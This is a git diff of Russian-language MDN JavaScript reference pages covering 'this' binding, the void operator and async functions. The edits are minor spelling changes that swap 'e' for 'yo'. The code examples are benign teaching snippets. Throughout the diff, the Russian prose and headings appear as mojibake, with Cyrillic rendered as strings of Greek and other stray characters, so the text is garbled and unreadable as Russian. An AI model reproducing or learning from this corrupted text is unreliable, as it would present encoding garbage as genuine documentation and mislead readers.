ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° <code>this Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ A,которым являСтся</code> obj, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ this Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π΅Π½Β <code>obj</code> Π΄Π°ΠΆΠ΅ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… условиях устанавливал Π±Ρ‹ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ this Ρ€Π°Π²Π½Ρ‹ΠΌ <code>undefined</code> ΠΈΠ»ΠΈ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ (ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ, ΠΊΠ°ΠΊ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌΒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π² глобальном контСкстС выполнСния).</p>
+<p>Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅, функция (Π½Π°Π·ΠΎΠ²Ρ‘ΠΌ Π΅Ρ‘Β Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ A), присвоСнная ΠΌΠ΅Ρ‚ΠΎΠ΄ΡƒΒ <code>obj.bar</code>, Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ Π΄Ρ€ΡƒΠ³ΡƒΡŽ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ (Π½Π°Π·ΠΎΠ²Ρ‘ΠΌ Π΅Ρ‘Β Π°Π½ΠΎΠ½ΠΈΠΌΠ½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠ΅ΠΉ B) которая создана ΠΊΠ°ΠΊ стрСлочная функция. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅, <code>this Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ B ΠΏΡ€ΠΈ Π²Ρ‹Π·ΠΎΠ²Π΅Β Π·Π°ΠΌΠΊΠ½ΡƒΡ‚ Π½Π°</code> <code>this,</code> ΠΏΡ€ΠΈΠ½Π°Π΄Π»Π΅ΠΆΠ°Ρ‰ΠΈΠΉ <code>obj.bar</code> (Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ A). <code>this</code> Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ B всСгда Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Ρ‚ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΎΠ½ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΠ» ΠΏΡ€ΠΈ создании. Π’ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π²Ρ‹ΡˆΠ΅, <code>this Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ B</code> ΡƒΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π½Π° <code>this Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ A,которым являСтся</code> obj, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ this Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π΅Π½Β <code>obj</code> Π΄Π°ΠΆΠ΅ Ρ‚ΠΎΠ³Π΄Π°, ΠΊΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²Ρ‹Π·Π²Π°Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ Π² Π½ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½Ρ‹Ρ… условиях устанавливал Π±Ρ‹ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ this Ρ€Π°Π²Π½Ρ‹ΠΌ <code>undefined</code> ΠΈΠ»ΠΈ Π³Π»ΠΎΠ±Π°Π»ΡŒΠ½ΠΎΠΌΡƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Ρƒ (ΠΈΠ»ΠΈ Π»ΡŽΠ±Ρ‹ΠΌ Π΄Ρ€ΡƒΠ³ΠΈΠΌ ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ, ΠΊΠ°ΠΊ Π² ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌΒ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ Π² глобальном контСкстС выполнСния).</p>
<h3 id="Π’_ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°">Π’ ΠΌΠ΅Ρ‚ΠΎΠ΄Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</h3>
@@ -213,7 +213,7 @@ console.log(fn2()() == window); // true</pre>
console.log(o.f()); // logs 37
</pre>
-<p>НСобходимо ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½Π° ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ <code>this</code> совсСм Π½Π΅ влияСт Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΈΠ»ΠΈ Π³Π΄Π΅ Π±Ρ‹Π»Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° функция. Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π²Π½ΡƒΡ‚Ρ€ΠΈ свойства <code>f</code> Π²ΠΎ врСмя опрСдСлСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>o</code>. Однако, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ просто ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ сначала Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π° Π·Π°Ρ‚Π΅ΠΌ Π·Π°ΠΊΡ€Π΅ΠΏΠΈΡ‚ΡŒ Π΅Π΅ Π·Π° Π·Π° свойством <code>o.f</code>. Π’ этом случаС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ <code>this</code> Π½Π΅ измСнится:</p>
+<p>НСобходимо ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Π½Π° ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ <code>this</code> совсСм Π½Π΅ влияСт Ρ‚ΠΎ, ΠΊΠ°ΠΊ ΠΈΠ»ΠΈ Π³Π΄Π΅ Π±Ρ‹Π»Π° ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π° функция. Π’ ΠΏΡ€Π΅Π΄Ρ‹Π΄ΡƒΡ‰Π΅ΠΌ ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ ΠΌΡ‹ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΠ»ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ Π²Π½ΡƒΡ‚Ρ€ΠΈ свойства <code>f</code> Π²ΠΎ врСмя опрСдСлСния ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° <code>o</code>. Однако, ΠΌΡ‹ ΠΌΠΎΠ³Π»ΠΈ Π±Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ просто ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ сначала Ρ„ΡƒΠ½ΠΊΡ†ΠΈΡŽ, Π° Π·Π°Ρ‚Π΅ΠΌ Π·Π°ΠΊΡ€Π΅ΠΏΠΈΡ‚ΡŒ Π΅Ρ‘ Π·Π° Π·Π° свойством <code>o.f</code>. Π’ этом случаС ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅ <code>this</code> Π½Π΅ измСнится:</p>
<pre class="brush:js">var o = {prop: 37};
@@ -236,7 +236,7 @@ console.log(o.b.g()); // logs 42
<h4 id="this_Π²_Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅_objects_prototype"><code>this</code> Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ object's prototype</h4>
-<p>Π­Ρ‚ΠΎ ΠΆΠ΅ прСдставлСниС справСдливо ΠΈ для ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Ρ… Π³Π΄Π΅-Π»ΠΈΠ±ΠΎ Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ object's prototype. Если ΠΌΠ΅Ρ‚ΠΎΠ΄ находится Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ², Ρ‚ΠΎ <code>this</code> ссылаСтся Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄, Ρ‚.Π΅. Ρ‚Π°ΠΊ, словно ΠΌΠ΅Ρ‚ΠΎΠ΄ являСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ самого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π° Π½Π΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°.</p>
+<p>Π­Ρ‚ΠΎ ΠΆΠ΅ прСдставлСниС справСдливо ΠΈ для ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠ², ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Ρ… Π³Π΄Π΅-Π»ΠΈΠ±ΠΎ Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ object's prototype. Если ΠΌΠ΅Ρ‚ΠΎΠ΄ находится Π² Ρ†Π΅ΠΏΠΎΡ‡ΠΊΠ΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠΎΠ², Ρ‚ΠΎ <code>this</code> ссылаСтся Π½Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌ Π±Ρ‹Π» Π²Ρ‹Π·Π²Π°Π½ ΠΌΠ΅Ρ‚ΠΎΠ΄, Ρ‚.Π΅. Ρ‚Π°ΠΊ, словно ΠΌΠ΅Ρ‚ΠΎΠ΄ являСтся ΠΌΠ΅Ρ‚ΠΎΠ΄ΠΎΠΌ самого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π° Π½Π΅ ΠΏΡ€ΠΎΡ‚ΠΎΡ‚ΠΈΠΏΠ°.</p>
<pre class="brush:js">var o = {f:function(){ return this.a + this.b; }};
var p = Object.create(o);
@@ -274,7 +274,7 @@ console.log(o.phase, o.modulus); // logs -0.78 1.4142
<p>Когда функция ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ ΠΊΠ°ΠΊ конструктор (с ΠΊΠ»ΡŽΡ‡Π΅Π²Ρ‹ΠΌ словом <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/new">new</a></code> ), <code>this</code> связано с создаваСмым Π½ΠΎΠ²Ρ‹ΠΌ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ.</p>
-<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ конструктор Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ссылаСтся <code>this</code>, Π½ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ (Ссли Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, Ρ‚ΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с <code>this</code>).</p>
+<p>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅: ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ конструктор Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ссылаСтся <code>this</code>, Π½ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π²Π΅Ρ€Π½ΡƒΡ‚ΡŒ ΠΈ Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ (Ссли Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅ΠΌΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ являСтся ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, Ρ‚ΠΎΠ³Π΄Π° Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с <code>this</code>).</p>
<pre class="brush:js">/*
* ΠšΠΎΠ½ΡΡ‚Ρ€ΡƒΠΊΡ‚ΠΎΡ€ Ρ€Π°Π±ΠΎΡ‚Π°Π΅Ρ‚ Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ:
@@ -312,7 +312,7 @@ o = new C2();
console.log(o.a); // logs 38
</pre>
-<p>Π’ послСднСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ (<code>C2</code>), ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ конструктор Π²Π΅Ρ€Π½ΡƒΠ» ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π±Ρ‹Π»ΠΎ привязано <code>this</code>, Π±Ρ‹Π» просто ΠΎΡ‚Π±Ρ€ΠΎΡˆΠ΅Π½. (Π­Ρ‚ΠΎ фактичСски Π΄Π΅Π»Π°Π΅Ρ‚ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ "<code>this.a = 37;</code>" "ΠΌΠ΅Ρ€Ρ‚Π²Ρ‹ΠΌ" ΠΊΠΎΠ΄ΠΎΠΌ. Он Π½Π΅ являСтся Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎ Π½Π΅Ρ€Π°Π±ΠΎΡ‡ΠΈΠΌ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ выполняСтся, Π½ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΡŠΡΡ‚ Π±Π΅Π· ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ Π²Π½Π΅ΡˆΠ½ΠΈΡ… эффСктов.)</p>
+<p>Π’ послСднСм ΠΏΡ€ΠΈΠΌΠ΅Ρ€Π΅ (<code>C2</code>), ΠΈΠ·-Π·Π° Ρ‚ΠΎΠ³ΠΎ, Ρ‡Ρ‚ΠΎ конструктор Π²Π΅Ρ€Π½ΡƒΠ» ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, Π½ΠΎΠ²Ρ‹ΠΉ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΊ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠΌΡƒ Π±Ρ‹Π»ΠΎ привязано <code>this</code>, Π±Ρ‹Π» просто ΠΎΡ‚Π±Ρ€ΠΎΡˆΠ΅Π½. (Π­Ρ‚ΠΎ фактичСски Π΄Π΅Π»Π°Π΅Ρ‚ Π²Ρ‹Ρ€Π°ΠΆΠ΅Π½ΠΈΠ΅ "<code>this.a = 37;</code>" "ΠΌΡ‘Ρ€Ρ‚Π²Ρ‹ΠΌ" ΠΊΠΎΠ΄ΠΎΠΌ. Он Π½Π΅ являСтся Π±ΡƒΠΊΠ²Π°Π»ΡŒΠ½ΠΎ Π½Π΅Ρ€Π°Π±ΠΎΡ‡ΠΈΠΌ, Ρ‚Π°ΠΊ ΠΊΠ°ΠΊ ΠΎΠ½ выполняСтся, Π½ΠΎ ΠΎΠ½ ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ ΠΈΠ·ΡŠΡΡ‚ Π±Π΅Π· ΠΊΠ°ΠΊΠΈΡ…-Π»ΠΈΠ±ΠΎ Π²Π½Π΅ΡˆΠ½ΠΈΡ… эффСктов.)</p>
<h3 id="call_ΠΈ_apply"><code>call</code> ΠΈ <code>apply</code></h3>
@@ -335,7 +335,7 @@ add.call(o, 5, 7); // 1 + 3 + 5 + 7 = 16
add.apply(o, [10, 20]); // 1 + 3 + 10 + 20 = 34
</pre>
-<p>НСобходимо ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ссли ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ <code>call</code> ΠΈ <code>apply</code> пСрСдаСтся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ с <code>this</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ являСтся ΠΏΡ€ΠΈ этом ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, Π±ΡƒΠ΄Π΅Ρ‚ прСдпринята ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΡŽΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ <code>ToObject</code>. Если ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ являСтся ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹ΠΌ Ρ‚ΠΈΠΏΠΎΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>7</code> ΠΈΠ»ΠΈ <code>'foo'</code>, ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΎ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с использованиСм родствСнного конструктора, Ρ‚Π°ΠΊ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ² <code>7</code> прСобразовываСтся Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‡Π΅Ρ€Π΅Π· <code>new Number(7),</code> Π° строка <code>'foo'</code> Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‡Π΅Ρ€Π΅Π· <code>new String('foo'),</code> ΠΈ Ρ‚.Π΄.</p>
+<p>НСобходимо ΠΎΡ‚ΠΌΠ΅Ρ‚ΠΈΡ‚ΡŒ, Ρ‡Ρ‚ΠΎ Ссли ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ <code>call</code> ΠΈ <code>apply</code> пСрСдаётся Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ с <code>this</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π½Π΅ являСтся ΠΏΡ€ΠΈ этом ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠΌ, Π±ΡƒΠ΄Π΅Ρ‚ прСдпринята ΠΏΠΎΠΏΡ‹Ρ‚ΠΊΠ° ΠΊΠΎΠ½Π²Π΅Ρ€Ρ‚ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚, ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡ Π²Π½ΡƒΡ‚Ρ€Π΅Π½Π½ΡŽΡŽ ΠΎΠΏΠ΅Ρ€Π°Ρ†ΠΈΡŽ <code>ToObject</code>. Если ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ являСтся ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ²Π½Ρ‹ΠΌ Ρ‚ΠΈΠΏΠΎΠΌ, Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <code>7</code> ΠΈΠ»ΠΈ <code>'foo'</code>, ΠΎΠ½ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ ΠΏΡ€Π΅ΠΎΠ±Ρ€Π°Π·ΠΎΠ²Π°Π½ΠΎ Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ с использованиСм родствСнного конструктора, Ρ‚Π°ΠΊ ΠΏΡ€ΠΈΠΌΠΈΡ‚ΠΈΠ² <code>7</code> прСобразовываСтся Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‡Π΅Ρ€Π΅Π· <code>new Number(7),</code> Π° строка <code>'foo'</code> Π² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ Ρ‡Π΅Ρ€Π΅Π· <code>new String('foo'),</code> ΠΈ Ρ‚.Π΄.</p>
<pre class="brush:js">function bar() {
console.log(Object.prototype.toString.call(this));
@@ -382,7 +382,7 @@ for (var i = 0; i &lt; elements.length; i++) {
&lt;/button&gt;
</pre>
-<p>Π’ этом случаС <code>this</code> Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ установлСн, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½ global/window ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
+<p>Π’ этом случаС <code>this</code> Π²Π»ΠΎΠΆΠ΅Π½Π½ΠΎΠΉ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ установлСн, Ρ‚Π°ΠΊ Ρ‡Ρ‚ΠΎ Π±ΡƒΠ΄Π΅Ρ‚ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½ global/window ΠΎΠ±ΡŠΠ΅ΠΊΡ‚.</p>
<h2 id="Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ">Π‘ΠΏΠ΅Ρ†ΠΈΡ„ΠΈΠΊΠ°Ρ†ΠΈΠΈ</h2>
diff --git a/files/ru/web/javascript/reference/operators/void/index.html b/files/ru/web/javascript/reference/operators/void/index.html
index e415aacae7..998c138972 100644
--- a/files/ru/web/javascript/reference/operators/void/index.html
+++ b/files/ru/web/javascript/reference/operators/void/index.html
@@ -41,7 +41,7 @@ translation_of: Web/JavaScript/Reference/Operators/void
<h2 id="JavaScript_URIs">JavaScript URIs</h2>
-<p>Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎ <code>javascript:Β URI</code>, он вычисляСт ΠΊΠΎΠ΄ Π² <code>URI</code> и замСняСт содСрТаниС страницы Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π΅Π½Π½Ρ‹ΠΌΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, Ссли ΠΎΠ½ΠΎ Π½Π΅ Ρ€Π°Π²Π½ΠΎ {{jsxref("Global_Objects/undefined", "undefined")}}. МоТно Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ <code>void</code> для Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° {{jsxref("Global_Objects/undefined", "undefined")}}. НапримСр:</p>
+<p>Когда Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΏΠ΅Ρ€Π΅Ρ…ΠΎΠ΄ΠΈΡ‚ ΠΏΠΎ <code>javascript:Β URI</code>, он вычисляСт ΠΊΠΎΠ΄ Π² <code>URI</code> и замСняСт содСрТаниС страницы Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Ρ‘Π½Π½Ρ‹ΠΌΒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ΠΌ, Ссли ΠΎΠ½ΠΎ Π½Π΅ Ρ€Π°Π²Π½ΠΎ {{jsxref("Global_Objects/undefined", "undefined")}}. МоТно Π²ΠΎΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒΡΡ ΠΎΠΏΠ΅Ρ€Π°Ρ‚ΠΎΡ€ΠΎΠΌ <code>void</code> для Π²ΠΎΠ·Π²Ρ€Π°Ρ‚Π° {{jsxref("Global_Objects/undefined", "undefined")}}. НапримСр:</p>
<pre class="brush: html">&lt;a href="javascript:void(0);"&gt;
Click here to do nothing
diff --git a/files/ru/web/javascript/reference/statements/async_function/index.html b/files/ru/web/javascript/reference/statements/async_function/index.html
index 966ea49b80..a956f73e66 100644
--- a/files/ru/web/javascript/reference/statements/async_function/index.html
+++ b/files/ru/web/javascript/reference/statements/async_function/index.html
@@ -81,7 +81,7 @@ add2(10).then(v =&gt; {
<div class="warning">
<h4 id="НС_ΠΏΡƒΡ‚Π°ΠΉΡ‚Π΅_await_ΠΈ_Promise.all">НС ΠΏΡƒΡ‚Π°ΠΉΡ‚Π΅ await ΠΈ Promise.all</h4>
-<p>Ѐункция <code>add1</code> приостанавливаСтся Π½Π° 2 сСкунды для ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ <code>await</code> ΠΈ Π΅Ρ‰Π΅ Π½Π° 2 для Π²Ρ‚ΠΎΡ€ΠΎΠ³ΠΎ. Π’Ρ‚ΠΎΡ€ΠΎΠΉ Ρ‚Π°ΠΉΠΌΠ΅Ρ€ создаСтся Ρ‚ΠΎΠ»ΡŒΠΊΠΎ послС срабатывания ΠΏΠ΅Ρ€Π²ΠΎΠ³ΠΎ. Π’ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ <code>add2</code> ΡΠΎΠ·Π΄Π°ΡŽΡ‚ΡΡ ΠΎΠ±Π° ΠΈ ΠΎΠ±Π° ΠΆΠ΅ пСрСходят Π² состояниС <code>await</code>. Π’ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π΅ функция <code>add2</code> Π·Π°Π²Π΅Ρ€ΡˆΠΈΡ‚ΡΡ скорСС Ρ‡Π΅Ρ€Π΅Π· Π΄Π²Π΅, 